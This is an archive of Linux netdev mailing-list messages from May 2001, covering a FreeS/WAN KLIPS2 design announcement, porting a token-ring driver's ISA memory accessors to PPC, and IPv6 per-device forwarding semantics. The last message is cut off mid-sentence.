From owner-netdev@oss.sgi.com Tue May 1 00:51:56 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f417puU11725 for netdev-outgoing; Tue, 1 May 2001 00:51:56 -0700 Received: from aaitlol.conscoop.ottawa.on.ca (ip43-114.syzygy.com [216.240.43.114]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f417psM11722 for ; Tue, 1 May 2001 00:51:54 -0700 Received: (from rgb@localhost) by aaitlol.conscoop.ottawa.on.ca (8.11.0/8.8.8) id f417pF030385; Tue, 1 May 2001 03:51:15 -0400 Date: Tue, 1 May 2001 03:51:15 -0400 From: Richard Guy Briggs To: NetFilter mailing list , Linux Network Development mailing list Cc: Richard Guy Briggs , Hugh Daniel , John Gilmore Subject: FreeS/WAN redesign design, diagram, legend, api, api-trips (KLIPS, IPSEC) Message-ID: <20010501035115.A30358@aaitlol.conscoop.ottawa.on.ca> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="NzB8fVQJ5HfG6fxh" Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-netdev@oss.sgi.com Precedence: bulk --NzB8fVQJ5HfG6fxh Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable The FreeS/WAN KLIPS2 design has come a long way since it was last posted in February and is getting much closer to coding time. It is no longer just one document. Please provide feedback. Detailed feedback would be most helpful. I am particularly looking for clarifications of my misunderstandings of NetFilter, its interfaces and capabilities. klips2-design.txt is the main document which outlines goals, desired feature list, process description. klips2-design.dia is a dia(1) diagram of the architecture. klips2-design.png is a bitmap exported from dia(1) for those who don't want to install dia(1) just to view it. klips2-design-api.txt is a text description of the api including arguments, types and block comments. klips2-design-api-trips.txt is a trip of each api encountered for various different packet traversals of the architecture as an excercise to flesh out the api and help verify nothing was missed. klips2-design-legend.txt is a legend of diagram acronyms and member labels. The .txt, .dia, -api.txt, -api-trips.txt and -legend.txt are all in the FreeS/WAN daily snapshots under klips/doc. The snapshots can be found from www.freeswan.org. All are on my web page referenced from the bottom of: http://www.conscoop.ottawa.on.ca/rgb/freeswan/ slainte mhath, RGB --=20 Richard Guy Briggs -- PGP key available Auto-Free Ottawa! Canada Prevent Internet Wiretapping! -- FreeS/WAN: Thanks for voting Green! -- Marillion: --NzB8fVQJ5HfG6fxh Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: 2.6.3i iQCVAwUBOu5q89+sBuIhFagtAQFgpQP/SQDN3dMJgQFO6ecgqWe8RMQW2k5yp5cY XhgHmZwHKvszjzZNAAjKDWJbkQDWkUm8gW3CqN04KB/PwzW7j6oScf2/h2SniaX0 d7AUWQmraCACssQ+bvesDSC55P9Mxh9p68d3i6aw+eOFGQiieVT45t59mr+RKaRA itxLmcaCkbI= =ZYjA -----END PGP SIGNATURE----- --NzB8fVQJ5HfG6fxh-- From owner-netdev@oss.sgi.com Tue May 1 01:47:40 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f418leV13333 for netdev-outgoing; Tue, 1 May 2001 01:47:40 -0700 Received: from imo-d08.mx.aol.com (imo-d08.mx.aol.com [205.188.157.40]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f418ldM13330 for ; Tue, 1 May 2001 01:47:39 -0700 Received: from BieshaarP@netscape.net by imo-d08.mx.aol.com (mail_out_v30.10.) id 4.ed.14c75e0 (16219) for ; Tue, 1 May 2001 04:45:16 -0400 (EDT) Received: from netscape.com (aimmail01.aim.aol.com [205.188.144.193]) by air-in01.mx.aol.com (v77_r1.37) with ESMTP; Tue, 01 May 2001 04:45:15 -0400 Date: Tue, 01 May 2001 04:45:15 -0400 From: BieshaarP@netscape.net (Peter Bieshaar) To: netdev@oss.sgi.com Subject: possible suggestion for within the Linux kernel Mime-Version: 1.0 Message-ID: <17CEC8ED.094A580A.0225591B@netscape.net> X-Mailer: Franklin Webmailer 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-netdev@oss.sgi.com Precedence: bulk I got this email address from Alan Cox. I think I have a really great idea to implement into the Linux kernel. But can actually not find any place to talk with anybody about this. It is about tcp_doors, a door equivalent like Solaris > 2.51 is using but then built onto the tcp layer. It will have great impact into a lot of OS stuff like mem mngmnt, IPC, function, security, a lot of other exceptions and stack management to name a few. I want to know what your ideas are and how something like this should be set up. TIA, Peter Bieshaar -- Peter Bieshaar UniSE - Unix services en diensten www.unise.nl __________________________________________________________________ Get your own FREE, personal Netscape Webmail account today at http://webmail.netscape.com/ From owner-netdev@oss.sgi.com Tue May 1 06:59:41 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41DxfL21725 for netdev-outgoing; Tue, 1 May 2001 06:59:41 -0700 Received: from smtp102.urscorp.com (smtp102.urscorp.com [38.202.96.105]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f41DxeM21722 for ; Tue, 1 May 2001 06:59:41 -0700 To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: isa_read/write not available on ppc - solution suggestions ?? X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 From: mike_phillips@urscorp.com Message-ID: Date: Tue, 1 May 2001 09:52:30 -0400 X-MIMETrack: Serialize by Router on SMTP102/URSCorp(Release 5.0.5 |September 22, 2000) at 05/01/2001 09:55:27 AM, Serialize complete at 05/01/2001 09:55:27 AM MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-netdev@oss.sgi.com Precedence: bulk To get the pcmcia ibmtr driver (ibmtr/ibmtr_cs) working on ppc, all the isa_read/write's have to be changed to regular read/write due to the lack of the isa_read/write functions for ppc. So, the question is should I simply: a) change everything to read/write and friends (the way the driver used to be before the isa_read/write function were introduced) b) Put ugly macros in the driver to use the different functions depending upon architecture. c) Implement the isa_read/write functions for ppc ? or d) something completely different I haven't thought of. Remember, this driver must support isa, pcmcia, mca, ix86 and now ppc. Personally I'd rather not have arch dependent macros in the driver, but I know there is a good reason why the isa_read/write functions were introduced in the first place. Suggestions ? Mike Linux Token Ring Project http://www.linuxtr.net From owner-netdev@oss.sgi.com Tue May 1 07:31:56 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41EVu523109 for netdev-outgoing; Tue, 1 May 2001 07:31:56 -0700 Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f41EVrM23106 for ; Tue, 1 May 2001 07:31:54 -0700 Received: from alan by the-village.bc.nu with local (Exim 2.12 #1) id 14ubFe-0001jg-00; Tue, 1 May 2001 15:35:42 +0100 Subject: Re: isa_read/write not available on ppc - solution suggestions ?? To: mike_phillips@urscorp.com Date: Tue, 1 May 2001 15:35:40 +0100 (BST) Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com In-Reply-To: from "mike_phillips@urscorp.com" at May 01, 2001 09:52:30 AM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: From: Alan Cox Sender: owner-netdev@oss.sgi.com Precedence: bulk > a) change everything to read/write and friends (the way the driver used to > be before the isa_read/write function were introduced) readb/readw/readl have always worked for ISA bus. They simply avoid the need for ioremap and are meant for lazy porting From owner-netdev@oss.sgi.com Tue May 1 07:36:40 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41Eaet23707 for netdev-outgoing; Tue, 1 May 2001 07:36:40 -0700 Received: from quark.didntduck.org ([64.64.109.142]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f41EadM23702 for ; Tue, 1 May 2001 07:36:39 -0700 Received: from didntduck.org (hsefw.haushahn.com [208.224.1.2]) by quark.didntduck.org (8.9.3/8.9.3) with ESMTP id KAA29585; Tue, 1 May 2001 10:36:32 -0400 Message-ID: <3AEEC9D2.85526BAB@didntduck.org> Date: Tue, 01 May 2001 10:36:02 -0400 From: Brian Gerst X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: mike_phillips@urscorp.com CC: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: isa_read/write not available on ppc - solution suggestions ?? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk mike_phillips@urscorp.com wrote: > > To get the pcmcia ibmtr driver (ibmtr/ibmtr_cs) working on ppc, all the > isa_read/write's have to be changed to regular read/write due to the lack > of the isa_read/write functions for ppc. Treat it like a PCI device and use ioremap(). Then change isa_readl() to readl() etc. -- Brian Gerst From owner-netdev@oss.sgi.com Tue May 1 07:51:44 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41Epio24563 for netdev-outgoing; Tue, 1 May 2001 07:51:44 -0700 Received: from quark.didntduck.org ([64.64.109.142]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f41EphM24560 for ; Tue, 1 May 2001 07:51:43 -0700 Received: from didntduck.org (hsefw.haushahn.com [208.224.1.2]) by quark.didntduck.org (8.9.3/8.9.3) with ESMTP id KAA29637; Tue, 1 May 2001 10:51:27 -0400 Message-ID: <3AEECD51.ABC493CB@didntduck.org> Date: Tue, 01 May 2001 10:50:57 -0400 From: Brian Gerst X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Alan Cox CC: mike_phillips@urscorp.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: isa_read/write not available on ppc - solution suggestions ?? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk Alan Cox wrote: > > > a) change everything to read/write and friends (the way the driver used to > > be before the isa_read/write function were introduced) > > readb/readw/readl have always worked for ISA bus. They simply avoid the need > for ioremap and are meant for lazy porting You meant isa_read* were for lazy porting. read* require ioremap be done before hand, even for ISA. -- Brian Gerst From owner-netdev@oss.sgi.com Tue May 1 08:11:28 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41FBSC25602 for netdev-outgoing; Tue, 1 May 2001 08:11:28 -0700 Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f41FBQM25598 for ; Tue, 1 May 2001 08:11:26 -0700 Received: from alan by the-village.bc.nu with local (Exim 2.12 #1) id 14ubr8-0001nf-00; Tue, 1 May 2001 16:14:26 +0100 Subject: Re: isa_read/write not available on ppc - solution suggestions ?? To: bgerst@didntduck.org (Brian Gerst) Date: Tue, 1 May 2001 16:14:24 +0100 (BST) Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), mike_phillips@urscorp.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com In-Reply-To: <3AEECD51.ABC493CB@didntduck.org> from "Brian Gerst" at May 01, 2001 10:50:57 AM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: From: Alan Cox Sender: owner-netdev@oss.sgi.com Precedence: bulk > > for ioremap and are meant for lazy porting > > You meant isa_read* were for lazy porting. read* require ioremap be > done before hand, even for ISA. Indeed I do From owner-netdev@oss.sgi.com Tue May 1 08:35:06 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41FZ6n27247 for netdev-outgoing; Tue, 1 May 2001 08:35:06 -0700 Received: from smtp102.urscorp.com (smtp102.urscorp.com [38.202.96.105]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f41FZ4M27243 for ; Tue, 1 May 2001 08:35:05 -0700 To: Brian Gerst Cc: Alan Cox , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: isa_read/write not available on ppc - solution suggestions ?? X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 From: mike_phillips@urscorp.com Message-ID: Date: Tue, 1 May 2001 11:27:31 -0400 X-MIMETrack: Serialize by Router on SMTP102/URSCorp(Release 5.0.5 |September 22, 2000) at 05/01/2001 11:30:51 AM, Serialize complete at 05/01/2001 11:30:51 AM MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-netdev@oss.sgi.com Precedence: bulk >mike_phillips@urscorp.com wrote: >> >> To get the pcmcia ibmtr driver (ibmtr/ibmtr_cs) working on ppc, all the >> isa_read/write's have to be changed to regular read/write due to the lack >> of the isa_read/write functions for ppc. > Treat it like a PCI device and use ioremap(). Then change isa_readl() > to readl() etc. Bleurgh, the latest version of the driver (not in the kernel yet) searches for turbo based cards by checking the isa address space from 0xc0000 - 0xe0000 in 8k chunks. So we'd have to ioremap each 8k section, check it, find out the adapter isn't there and then iounmap it. Oh well, if that's what it takes =:0 Mike From owner-netdev@oss.sgi.com Tue May 1 09:32:37 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41GWbq31792 for netdev-outgoing; Tue, 1 May 2001 09:32:37 -0700 Received: from vindaloo.ras.ucalgary.ca (vindaloo.ras.ucalgary.ca [136.159.55.21]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f41GWZM31778 for ; Tue, 1 May 2001 09:32:35 -0700 Received: (from rgooch@localhost) by vindaloo.ras.ucalgary.ca (8.10.0/8.10.0) id f41GW9U12212; Tue, 1 May 2001 10:32:09 -0600 Date: Tue, 1 May 2001 10:32:09 -0600 Message-Id: <200105011632.f41GW9U12212@vindaloo.ras.ucalgary.ca> From: Richard Gooch To: BieshaarP@netscape.net (Peter Bieshaar) Cc: netdev@oss.sgi.com Subject: Re: possible suggestion for within the Linux kernel In-Reply-To: <17CEC8ED.094A580A.0225591B@netscape.net> References: <17CEC8ED.094A580A.0225591B@netscape.net> Sender: owner-netdev@oss.sgi.com Precedence: bulk [Please fix your MUA to wrap your lines at 72 characters] Peter Bieshaar writes: > I got this email address from Alan Cox. I think I have a really > great idea to implement into the Linux kernel. > But can actually not find any place to talk with anybody about > this. It is about tcp_doors, a door equivalent like Solaris > 2.51 > is using but then built onto the tcp layer. > > It will have great impact into a lot of OS stuff like mem mngmnt, > IPC, function, security, a lot of other exceptions and stack > management to name a few. I want to know what your ideas are and how > something like this should be set up. What's the benefit to having tcp_doors? Regards, Richard.... Permanent: rgooch@atnf.csiro.au Current: rgooch@ras.ucalgary.ca From owner-netdev@oss.sgi.com Tue May 1 13:35:03 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41KZ3v23114 for netdev-outgoing; Tue, 1 May 2001 13:35:03 -0700 Received: from mail.storm.ca (storm.ca [209.87.239.69]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f41KZ1M23110 for ; Tue, 1 May 2001 13:35:01 -0700 Received: from storm.ca (ppp-209-87-255-64.ottawa.storm.ca [209.87.255.64]) by mail.storm.ca (8.9.3+Sun/8.9.3) with ESMTP id OAA25699 for ; Tue, 1 May 2001 14:51:13 -0400 (EDT) Message-ID: <3AEF059C.9060F495@storm.ca> Date: Tue, 01 May 2001 14:51:08 -0400 From: Sandy Harris X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en,fr MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: Re: possible suggestion for within the Linux kernel References: <17CEC8ED.094A580A.0225591B@netscape.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk Peter Bieshaar wrote: > > I got this email address from Alan Cox. I think I have a really great idea to > implement into the Linux kernel. I suspect some folks will want to see a patch before taking this seriously. See Alan's essay: http://www.oswg.org/oswg-nightly/oswg/en_US.ISO_8859-1/articles/alan-cox/town-council/tcouncil.html for some discussion of the perils of great ideas without code. > But can actually not find any place to talk with anybody about this. It is about > tcp_doors, a door equivalent like Solaris > 2.51 is using but then built onto the > tcp layer. Can you give a summary of what this does, how and why? Or point to a web site with such info? > It will have great impact into a lot of OS stuff like mem mngmnt, IPC, function, > security, a lot of other exceptions and stack management to name a few. Yes, but will the impact be positive? Or, since almost nothing (except correcting outright design errors) has positive impact across the board, where do you expect to see improvement, and at what cost elsewhere? From owner-netdev@oss.sgi.com Tue May 1 13:50:15 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41KoFl24791 for netdev-outgoing; Tue, 1 May 2001 13:50:15 -0700 Received: from hood.tvd.be (hood.tvd.be [195.162.196.21]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f41KoCF24788 for ; Tue, 1 May 2001 13:50:13 -0700 Received: from callisto.of.borg (cable-195-162-217-46.upc.chello.be [195.162.217.46]) by hood.tvd.be (8.9.3/8.9.3/RELAY-1.1) with ESMTP id TAA25051; Tue, 1 May 2001 19:34:21 +0200 (MET DST) Received: from localhost (geert@localhost) by callisto.of.borg (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA00414; Tue, 1 May 2001 19:33:09 +0200 X-Authentication-Warning: callisto.of.borg: geert owned process doing -bs Date: Tue, 1 May 2001 19:33:09 +0200 (CEST) From: Geert Uytterhoeven To: mike_phillips@urscorp.com cc: Linux Kernel Development , netdev@oss.sgi.com, Linux/PPC Development Subject: Re: isa_read/write not available on ppc - solution suggestions ?? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Tue, 1 May 2001 mike_phillips@urscorp.com wrote: > To get the pcmcia ibmtr driver (ibmtr/ibmtr_cs) working on ppc, all the > isa_read/write's have to be changed to regular read/write due to the lack > of the isa_read/write functions for ppc. > > So, the question is should I simply: > > a) change everything to read/write and friends (the way the driver used to > be before the isa_read/write function were introduced) > b) Put ugly macros in the driver to use the different functions depending > upon architecture. > c) Implement the isa_read/write functions for ppc ? > or d) something completely different I haven't thought of. Please go for option c. Also note that ISA memory space is not available on all PPC platforms. Gr{oetje,eeting}s, Geert -- Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org In personal conversations with technical people, I call myself a hacker. But when I'm talking to journalists I just say "programmer" or something like that. -- Linus Torvalds From owner-netdev@oss.sgi.com Tue May 1 14:13:40 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41LDeH26602 for netdev-outgoing; Tue, 1 May 2001 14:13:40 -0700 Received: from kaiser.inr.ac.ru ([192.203.80.144]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f41LDXF26591 for ; Tue, 1 May 2001 14:13:34 -0700 Received: from ms2.inr.ac.ru (minus.inr.ac.ru [3ffe:2400::280:c8ff:fe59:5bcc]) by kaiser.inr.ac.ru (8.6.13/ANK+IPv6) with ESMTP id WAA06726 for ; Thu, 1 May 2014 22:21:31 +0400 From: kuznet@ms2.inr.ac.ru Received: (from kuznet@localhost) by ms2.inr.ac.ru (8.6.13/ANK) id WAA00817; Tue, 1 May 2001 22:21:24 +0400 Message-Id: <200105011821.WAA00817@ms2.inr.ac.ru> Subject: Re: ipv6 global forward overrides dev-specific forwarding To: pb@bieringer.de (Peter Bieringer) Date: Tue, 1 May 2001 22:21:24 +0400 (MSK DST) Cc: davem@redhat.com, netdev@oss.sgi.com In-Reply-To: <5.1.0.14.0.20010501193118.027dfb08@mail.bieringer.de> from "Peter Bieringer" at May 1, 1 07:35:57 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Sender: owner-netdev@oss.sgi.com Precedence: bulk Hello! > > Per-device "forwarding" switch controls only > >autoconfiguration/ndisc aspects. > > Which way? Does this mean if per device forwarding is off, router > advertisements are accepted and processed? 1. It controls IsRouter flag on neighbour advertisements. 2. It controls sending router solicitations. 3. If forwarding is off and accept_ra are set, router adversisements are accepted. 4. If forwarding is off and accept_redirects are set, redirects are accepted. Shortly, this flag responds for protocol part, but it has no traffic filtering function. Alexey From owner-netdev@oss.sgi.com Tue May 1 14:13:40 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41LDeG26603 for netdev-outgoing; Tue, 1 May 2001 14:13:40 -0700 Received: from kaiser.inr.ac.ru ([192.203.80.144]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f41LDaF26597 for ; Tue, 1 May 2001 14:13:37 -0700 Received: from ms2.inr.ac.ru (minus.inr.ac.ru [3ffe:2400::280:c8ff:fe59:5bcc]) by kaiser.inr.ac.ru (8.6.13/ANK+IPv6) with ESMTP id VAA06683 for ; Thu, 1 May 2014 21:18:10 +0400 From: kuznet@ms2.inr.ac.ru Received: (from kuznet@localhost) by ms2.inr.ac.ru (8.6.13/ANK) id VAA00425; Tue, 1 May 2001 21:17:44 +0400 Message-Id: <200105011717.VAA00425@ms2.inr.ac.ru> Subject: Re: ipv6 global forward overrides dev-specific forwarding To: davem@redhat.com (David S. Miller) Date: Tue, 1 May 2001 21:17:44 +0400 (MSK DST) Cc: pb@bieringer.de, netdev@oss.sgi.com In-Reply-To: <15086.32117.801470.70689@pizda.ninka.net> from "David S. Miller" at May 1, 1 02:10:13 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Sender: owner-netdev@oss.sgi.com Precedence: bulk Hello! > It seems senseless for it to behave this way. Per-device enabling/disabling forwarding in IPv6 simply does not exist. This switch is global only: either the whole node is router or it is not a router. Per-device "forwarding" switch controls only autoconfiguration/ndisc aspects. In IPv4 it was possible because it is able to make routing decisions based on input interface. IPv6 is not. It is easy to add direct check of the flag to ip6_forward, but I see no reasons to do this as soon as the feature is not obtained for no fee (like ip). If someone wants to control forwarding per-device, this can be made with a netfilter rule. The same is with IP. And f.e. if we were able to kill policy routing, per-device forwarding switch would stop to work as well. Alexey From owner-netdev@oss.sgi.com Tue May 1 14:31:25 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41LVPE28540 for netdev-outgoing; Tue, 1 May 2001 14:31:25 -0700 Received: from brinquedo.distro.conectiva ([200.181.138.209]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f41LVKF28531 for ; Tue, 1 May 2001 14:31:20 -0700 Received: by brinquedo.distro.conectiva (Postfix, from userid 501) id E4615C44D; Tue, 1 May 2001 01:32:19 -0300 (BRT) Date: Tue, 1 May 2001 01:32:19 -0300 From: Arnaldo Carvalho de Melo To: mike_phillips@urscorp.com Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: isa_read/write not available on ppc - solution suggestions ?? Message-ID: <20010501013219.F2339@conectiva.com.br> Mail-Followup-To: Arnaldo Carvalho de Melo , mike_phillips@urscorp.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.17i In-Reply-To: ; from mike_phillips@urscorp.com on Tue, May 01, 2001 at 09:52:30AM -0400 X-Url: http://advogato.org/person/acme Sender: owner-netdev@oss.sgi.com Precedence: bulk Em Tue, May 01, 2001 at 09:52:30AM -0400, mike_phillips@urscorp.com escreveu: > Personally I'd rather not have arch dependent macros in the driver, but I > know there is a good reason why the isa_read/write functions were > introduced in the first place. I did that because I was lazy to use ioremap in my driver, but I found time and fixed it properly eventually, too late, lots of other drivers started using it, now its in the janitor's TODO list to get rid of that and use ioremap, then we'll be able to get rid of that hack 8) - Arnaldo From owner-netdev@oss.sgi.com Tue May 1 14:37:39 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41LbdY29222 for netdev-outgoing; Tue, 1 May 2001 14:37:39 -0700 Received: from titan.bieringer.de (mail.bieringer.de [195.226.187.51]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f41LbWF29212 for ; Tue, 1 May 2001 14:37:32 -0700 Received: (qmail 4470 invoked from network); 1 May 2001 17:33:28 -0000 Received: from pd95024f3.dip.t-dialin.net (HELO worker.bieringer.de) (217.80.36.243) by mail.bieringer.de with SMTP; 1 May 2001 17:33:28 -0000 Message-Id: <5.1.0.14.0.20010501193118.027dfb08@mail.bieringer.de> X-Sender: peter@bieringer.de@mail.bieringer.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 01 May 2001 19:35:57 +0200 To: kuznet@ms2.inr.ac.ru, davem@redhat.com (David S. Miller) From: Peter Bieringer Subject: Re: ipv6 global forward overrides dev-specific forwarding Cc: netdev@oss.sgi.com In-Reply-To: <200105011717.VAA00425@ms2.inr.ac.ru> References: <15086.32117.801470.70689@pizda.ninka.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-netdev@oss.sgi.com Precedence: bulk At 19:17 01.05.2001, kuznet@ms2.inr.ac.ru wrote: >Hello! > > > It seems senseless for it to behave this way. > >Per-device enabling/disabling forwarding in IPv6 simply does not exist. >This switch is global only: either the whole node is router or it is not >a router. Ok, would be great if the IPv6 sysctls would be documented somewhere in detail (and if same name is used like in IPv4, but the usage is different, this should be highlighted) > Per-device "forwarding" switch controls only >autoconfiguration/ndisc aspects. Which way? Does this mean if per device forwarding is off, router advertisements are accepted and processed? Thanks for clarification, Peter From owner-netdev@oss.sgi.com Tue May 1 15:26:33 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41MQXa31843 for netdev-outgoing; Tue, 1 May 2001 15:26:33 -0700 Received: from prv-mail25.provo.novell.com (prv-mail25.provo.novell.com [137.65.81.121]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f41MQTF31839 for ; Tue, 1 May 2001 15:26:30 -0700 Received: from INET-PRV1-MTA by prv-mail25.provo.novell.com with Novell_GroupWise; Tue, 01 May 2001 11:25:29 -0600 Message-Id: X-Mailer: Novell GroupWise Internet Agent 6.0 Date: Tue, 01 May 2001 11:25:20 -0600 From: "Ky Srinivasan" To: Subject: zero copy transport API Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id f41MQVF31840 Sender: owner-netdev@oss.sgi.com Precedence: bulk I am looking at using the page based API for sending data over TCP/IP. How is the client notified that the data has been sent and acknowledged and it is ok for the client to potentially reuse the memory. My application is an in-kernel application. I had asked this question to Alan and he suggested that I should send this question to you. K. Y From owner-netdev@oss.sgi.com Tue May 1 16:21:59 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f41NLxv02250 for netdev-outgoing; Tue, 1 May 2001 16:21:59 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f41NLvF02245 for ; Tue, 1 May 2001 16:21:57 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA16805; Tue, 1 May 2001 16:21:52 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15087.17680.51922.243999@pizda.ninka.net> Date: Tue, 1 May 2001 16:21:52 -0700 (PDT) To: Karlis Peisenieks Cc: netdev@oss.sgi.com Subject: Re: [patch] preferred source for routes In-Reply-To: References: X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Karlis Peisenieks writes: > Below find patch that fixes problem with preferred source address for > route (when deleting last address on iface that was used as preferred > source address for other route to different interface did not cause that > route to dissapear). This looks fine, I've applied this patch to my tree. Thanks. Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Tue May 1 23:03:47 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4263lR14741 for netdev-outgoing; Tue, 1 May 2001 23:03:47 -0700 Received: from titan.bieringer.de (mail.bieringer.de [195.226.187.51]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4263jF14737 for ; Tue, 1 May 2001 23:03:45 -0700 Received: (qmail 14232 invoked from network); 2 May 2001 06:03:39 -0000 Received: from p3ee29448.dip.t-dialin.net (HELO worker.bieringer.de) (62.226.148.72) by mail.bieringer.de with SMTP; 2 May 2001 06:03:39 -0000 Message-Id: <5.1.0.14.0.20010502075031.00b0a548@mail.bieringer.de> X-Sender: list4peter@mail.bieringer.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Wed, 02 May 2001 08:06:10 +0200 To: kuznet@ms2.inr.ac.ru From: Peter Bieringer Subject: Re: ipv6 global forward overrides dev-specific forwarding Cc: davem@redhat.com, netdev@oss.sgi.com, pekkas@netcore.fi In-Reply-To: <200105011821.WAA00817@ms2.inr.ac.ru> References: <5.1.0.14.0.20010501193118.027dfb08@mail.bieringer.de> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-netdev@oss.sgi.com Precedence: bulk At 20:21 01.05.2001, kuznet@ms2.inr.ac.ru wrote: >Shortly, this flag responds for protocol part, but it has no >traffic filtering function. Thank you for the information. But is it possible to rename/replace the switches to avoid confusion with the existing (and still longer living IPv4 switches). Suggestions: 1) Global (and one and only) IPv6 forwarding control - /proc/sys/net/ipv6/conf/all/forwarding + /proc/sys/net/ipv6/forwarding Avoids also headache about why the same named switch in the "conf/all" directory has a different behavior than the "conf/$device" directory. 2) Perhaps renaming the "conf/$device/forwarding" to a better name. Looks like it was taken from BSD/KAME, but it can be misunderstood by IPv4 to IPv6 migrators... -- 8<-- (itojun on usagi-users) in KAME stack, the only legal combination is: accept_rtadv=0, forwarding=1 router accept_rtadv=1, forwarding=0 autoconfigured host accept_rtadv=0, forwarding=0 manually configured host 3) Let 